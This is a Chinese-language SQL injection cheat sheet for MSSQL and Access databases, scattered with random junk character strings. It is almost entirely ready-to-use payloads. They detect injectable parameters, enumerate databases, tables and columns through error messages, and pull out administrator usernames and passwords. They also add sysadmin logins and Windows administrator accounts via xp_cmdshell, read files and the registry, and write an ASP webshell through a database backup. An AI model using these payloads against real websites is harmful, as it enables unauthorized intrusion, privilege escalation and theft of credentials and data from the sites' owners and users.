1.判断是否有注入 * U6 q& k6 F) P# b8 i; W
;and 1=1
) A7 F- n$ g, Y;and 1=2 3 x* ]* w% ]9 ^1 Y9 u& [, s
4 E7 [, r4 F" q
2.初步判断是否是mssql
' A( F$ ^: ]% p0 t;and user>0 1 S! p' O( V# V4 }
3 P- v; J' L2 X: K* d3.判断数据库系统
6 W) ]: C3 b0 X3 Z m;and (select count(*) from sysobjects)>0 mssql " K) Q0 h0 o A( X) {; S
;and (select count(*) from msysobjects)>0 access
/ X8 m/ [' N( i& Y
3 k1 l% ?2 w4 g8 [6 m9 r4.注入参数是字符
2 R3 J+ ]; [9 J* C'and [查询条件] and ''=' % a7 b) T5 k% R! C1 C# d% L
# Z- ^0 G) w, [ d% _
5.搜索时没过滤参数的 - D- @: _- U9 Q0 p
'and [查询条件] and '%25'='
, y) S3 u9 g; R( Y$ r( ]. O" p2 F
6.猜数表名 5 r, t; H/ |8 p. N# m, w# b
;and (select Count(*) from [表名])>0
% z: e* Y# d: N M+ M2 w' a* E( O' o1 l; H8 R2 E# d
7.猜字段
3 {9 B5 p) H) w4 ^6 A;and (select Count(字段名) from 表名)>0
# [ {. X) W+ m( b2 g" Z, V
6 W. c* d+ Q& u0 g- R8 g$ `9 B8.猜字段中记录长度
$ f8 k( O. O- [& { j;and (select top 1 len(字段名) from 表名)>0 , B2 v3 L9 e4 S, M: n; \8 Z* q
# C4 n) x7 @* Y) O7 b& B& U5 H* X" z9.(1)猜字段的ascii值(access) 1 ?' G- W% x% y0 U2 Z; Y. G: Q" q
;and (select top 1 asc(mid(字段名,1,1)) from 表名)>0 * z: x8 `( n4 j8 @- x, q
; c4 G. Z# J, \2 I& Y
(2)猜字段的ascii值(mssql)
0 B9 [/ U5 d4 u' u;and (select top 1 unicode(substring(字段名,1,1)) from 表名)>0 _5 Z6 q5 z4 v3 H2 k
/ q6 c- j! y) W6 Y8 ^; X3 D4 s10.测试权限结构(mssql)
& Z: K# a) A# Z5 U8 |8 j;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- - G2 h, J! S6 a, _" v
;and 1=(select IS_SRVROLEMEMBER('serveradmin'));--
1 H9 J! c/ e% E' F& W, I;and 1=(select IS_SRVROLEMEMBER('setupadmin'));--
5 N0 P; S& W2 }3 }! r;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- 9 B" ]$ m- U7 \; ~: w
;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- 0 A/ V" i \1 Q
;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));--
4 @) `1 S8 ]- M! G8 ?# Q8 m% @;and 1=(select IS_MEMBER('db_owner'));--
& q8 g6 e& }) H( r* `8 d1 I
' A: w& C5 e+ N2 L9 Y- D% b11.添加mssql和系统的帐户
( M z7 A9 Y& M& J2 g;exec master.dbo.sp_addlogin username;--
, U8 y' t0 \8 j0 `) _ f- ^) v" p;exec master.dbo.sp_password null,username,password;-- ) ^3 E' l& e E$ F
;exec master.dbo.sp_addsrvrolemember sysadmin username;--
5 [4 k7 o9 y3 T: L( f* `0 _7 ~2 d2 y;exec master.dbo.xp_cmdshell 'net user username password /workstations:* /times:all /passwordchg:yes /passwordreq:yes /active:yes /add';-- 1 f# N7 R: w) ]; Q: A( y
;exec master.dbo.xp_cmdshell 'net user username password /add';-- # a |% J$ t+ s$ Q+ V' i3 Z
;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';--
9 n( G5 I0 h( t' w8 a5 A* N& ]2 u4 y' E1 n' C2 m
12.(1)遍历目录 ! U" |' ^& j8 E |' d8 d2 X
;create table dirs(paths varchar(100), id int) 4 a, ^' `2 |2 t; K! z
;insert dirs exec master.dbo.xp_dirtree 'c:\' c3 K' d1 q/ R/ T! P
;and (select top 1 paths from dirs)>0
2 x& o4 `: E- B% A;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>)
0 g5 q: u* T' X4 Y; @' m# D' p4 x" c* T& v
(2)遍历目录 - z! N3 k! |/ p4 c( S! L
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- + v; m8 ^% @6 b" P& p/ M4 B
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器
2 c2 [1 P! v% n8 n" \" M;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 ) w# [0 i$ c! ^# v. p9 v! G
;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树结构
5 h6 N$ U. C: H; i;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 9 s. B2 q0 a3 H( R
n6 |1 Y+ H) t8 G! x& m" C
13.mssql中的存储过程 . H+ ^* S& n2 ?2 a
xp_regenumvalues 注册表根键, 子键
% s, T6 |2 j p4 m3 r6 s- ^;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值
" S/ o: s: ^' ~ G! s% ]4 rxp_regread 根键,子键,键值名 - W0 P% {) l- O; D, c: S0 q% j
;exec xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 ( X+ ~7 C" w1 Z1 C
xp_regwrite 根键,子键, 值名, 值类型, 值
]$ ^' O9 j' k3 G) J# e, C值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型 0 Z' v$ v0 w3 g! O9 w/ ?
;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestvalueName','reg_sz','hello' 写入注册表
; i* P9 v! n. Wxp_regdeletevalue 根键,子键,值名 ! U+ m6 M: n) c0 R: L6 f+ ^5 S
exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestvalueName' 删除某个值 8 L0 i0 J% p; i
xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值
- k" H6 S3 q. b9 D$ d' n! }! ?/ q4 L1 ~
14.mssql的backup创建webshell
$ E+ k, M# M$ V, v) K0 xuse model 2 b" k) |3 O" c m5 p
create table cmd(str image); ' |5 u7 q/ g) z: X9 R+ M" |; I
insert into cmd(str) values ('<% Dim oScript %>');
/ J5 \9 {! d! a0 M" cbackup database model to disk='c:\l.asp';
9 D! \; t% \% a+ c u2 U$ ?( z- a) F. ]
7 r# h1 R/ j% }2 Z3 H15.mssql内置函数
4 Z5 h" `% v6 K* i, i;and (select @@version)>0 获得Windows的版本号 ' S$ {% e) Z) q
;and user_name()='dbo' 判断当前系统的连接用户是不是sa
) g% c% X& Q' n0 Q2 E2 B;and (select user_name())>0 爆当前系统的连接用户
2 y0 P# h' C! P1 f3 w;and (select db_name())>0 得到当前连接的数据库 6 T0 S* p9 U$ r+ z ]* t
+ { B3 j( q) G5 D) U: u) }" O' N( H/ u: }7 r$ S! F
, s2 f& g+ a# d& v! b+ NMSSQL手注暴库8 p1 t' J M3 ?9 Z
9 q; ]$ T8 n/ L: s
1.暴出当前表名和列名$ V; Q3 N& {: I+ v3 w2 `
在注入点后提交“'having 1=1--",得到返回信息为英文,在这段英文中即可看到一个表名和一个列名。提交“group by 暴出的表名列名having 1=1--",可得到另一个列名;继续提交“group by 暴了的表名列名,暴出的表名.第2个列名 having 1=1--",可再得到一个列名。用同样的方法提交,直到页面不再返回错误信息,就可以得到所有的列名。小知识:暴表名与列名是在SQL语句中“having 1=1—"与GROUP BY结合使用,进行条件判断的。由于语句不完整,因此数据库返回错误信息,并显示一个表名和一个列名。基本方法只能暴出数据库中的当前表,如果某个表中包含的列名非常多,用上基本方法就非常困难了。1 R, ~& i& P; c
+ S1 \/ g# x( F# U: g1 D
第一.爆出所有数据库名; |# o7 ]& M3 V* u2 y* M8 e
利用“and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=[N])"语句,暴出数据库中任意表名和列名,其中“[N]"表示数据库中的第N个表。+ B: R! Q' k4 N& V
第一步:在注入点后提交如下语句:“and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=12)",因为 dbid 的值从1到5,是系统使用的,所以用户自己建的一定是从6开始的,并且我们提交了 name>1,name字段是一个字符型的字段,和数字比较会出错因此在提交后,IE会返回如下的信息:“Microsoft OLE DB Provider for ODBC Drivers 错误 ?e07' [Microsoft][ODBC SQL Server Driver][SQL Server]将 nvarchar 值 'Northwind' 转换为数据类型为 int 的列时发生语法错误。",这样就把name字段的值暴出来了,也就是我们得到了一个库名“Northwind"。改变“dbid"的值可以得出所有的库名。( y( ?- I! o9 I9 w; x. Y9 S" A
/ |9 L X, w, }9 j N6 m6 G+ ]and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=[N])-- 修改N从6开始爆出所有数据库名; p+ m7 @1 D) ?
2 {/ J$ ^0 F2 i* O' [% L
0 z$ Z% k1 o! h5 b/ K7 z/ o d
第二.爆出指定库中的所有表名
- q R/ r+ P0 x) l% {( [: X得到了库名后,现在要得到库中所有的表名,提交如下语句:"and 0<>(select top 1 name from master.dbo.sysobjects where xtype='U') ",这里要暴的是master这个库中的表名,查询的SQL语句返回的是name的值,然后和数字0比较,这样就会暴露出name的值。提交后一个表名为“'spt_monito"就被暴出来了。" ?& \6 ^. C* C+ h1 v& ^
再接着暴其他的表,继续提交如下语句:“and 0<>(select top 1 name from master.dbo.sysobjects where xtype='U' and name not in('spt_monito'))"提交后,又暴出一个表名为"cd512"。依次提交"and name not in(' spt_monito',' cd512',..))"就可以查出所有的表名。
" L2 P; G) K4 h
: I c% O, I; V6 Mand 0<>(select top 1 name from [指定库名].dbo.sysobjects where xtype='U')--
" I6 {' p# {! n; y# w$ Vand 0<>(select top 1 name from [指定库名].dbo.sysobjects where xtype='U' and name not in('[爆出的表名]'))--% c! o: S# ?% f! B- s- Q3 `
and 0<>(select top 1 name from [指定库名].dbo.sysobjects where xtype='U' and name not in('[爆出的表名]','[爆出的第二表名]'))--% y* C3 j- ~# z3 c
9 v- W$ l# Z" H7 [% ]4.爆出指定表中的所有列名; b- y( S" W: |0 C3 ]0 v" ^" P
and 0<>(select count(*) from bbs.dbo.sysobjects where xtype='U' and name='admin' and uid>(str(id)))
% n+ ^) Q7 @9 f9 ^+ C//把ID值转成字符型后再和一个整型值比较。ID号出来了。值为:949578421 name='表名'4 e1 S* P& M$ A) b% l
/ m8 ~ E7 |9 D6 C" [6 ^# i* O1 O
and 0<>(select top 1 name from wutong.dbo.syscolumns where id=949578421)-- 爆出admin表中的一个字段名
6 R5 X J% Y. U; D$ Y0 V1 U& r+ a5 N8 \0 P7 p/ R/ r# w
再提交and 0<>(select top 1 name from wutong.dbo.syscolumns where id=949578421 and name not in('adduser'))-- % ?: I2 K% \1 w1 c$ u) r9 e
依次提交"and name not in(' spt_monito',' cd512',..))"就可以查出admin表中的所有字段名。% s! J6 }6 k1 G6 V
q- b; b g; w$ U* I: F
, F3 |7 Q6 }7 k: `6 Sand 0<>(select count(*) from [指定库名].dbo.sysobjects where xtype='U' and name='[要爆字段的表名]' and uid>(str(id)))-- 爆出要爆字段的表名id值
1 _- \9 U$ I+ b4 ?6 ~; f4 [: ~9 I- D; K+ d4 Q
and 0<>(select top 1 name from [指定库名].dbo.syscolumns where id=爆出的id值)-- 爆出id值表中的一个字段名. Y2 N9 t' `6 F" {" q7 u& N
3 ?! ?3 d! z2 k/ a/ G
and 0<>(select top 1 name from [指定库名].dbo.syscolumns where id=爆出的id值 and name not in('[爆出的字段名]'))--
( `: A/ c% B; ^; \2 R/ f3 m3 @7 c6 e$ [# ]0 a
. b# f- H) ~3 Q3 h* v
& M B) f1 _1 P( M _ I) O6 H5.读取指定表中的数据* D+ G" u9 k# U' U' w/ g) l# `
4 H0 F% R8 p! H& Z: w1 K5 ]7 P. j
and 0<(select A_ID from wutong.dbo.admin where A_UserID>1)-- 爆出A_PWD的内容 8 b& B' v* j# U5 [. e- u+ {
. g' S/ e( s* [( p
and 0<(select [一个存在的字段] from [指定库名].dbo.[要查询的表名] where [要爆内容的字段名]>1)--! [% L7 _1 s: y. o* R6 h' K
- v+ F5 m# L+ K2 s& n0 W+ s9 r) mand 0<(select A_ID from wutong.dbo.admin where A_PWD>1 and A_UserID='admin')-- 爆出admin的密码
3 b9 e9 N. n8 g4 R2 J0 P, Y
' T' t! r6 }1 V$ v9 m6 H Z& q
' M) x+ P/ M% }. Kand 0<(Select Top 1 A_UserID FROM admin where A_ID<>1)-- 爆出id<>1的管理员名字(fuhao)2 U, D5 b7 a) i5 m7 _1 ]
, C) g* F% I& d, Y5 @4 Z' Nand 0<(Select Top 1 A_UserID FROM admin where A_ID <>1 and A_UserID <> 'fuhao')-- 爆出第二个管理员的名字 <>不等于(tuiguang)6 K' g& c. K/ m u/ ~1 H N8 R
7 L3 R! Q0 R5 q2 q% H4 Q' s
and 0<(Select Top 1 A_UserID FROM admin where A_ID <>1 and A_UserID <> 'fuhao'and A_UserID <> 'tuiguang')--' |5 D4 X3 ]0 A; V
5 { \5 s& n0 C5 B
知道了数据库的表名、列名后,可以利用“查询语句"读取数据库中的任意信息。例如要读取某个表中某列中的第N个数据,可提交语句:“and (Select Top 1 列名 FROM 表名 where id=[N])>1"( [N]代表列中的第N条数据),从IE返回信息中即可得知想要的数据。* _ G, a5 n: A3 K2 n) L
|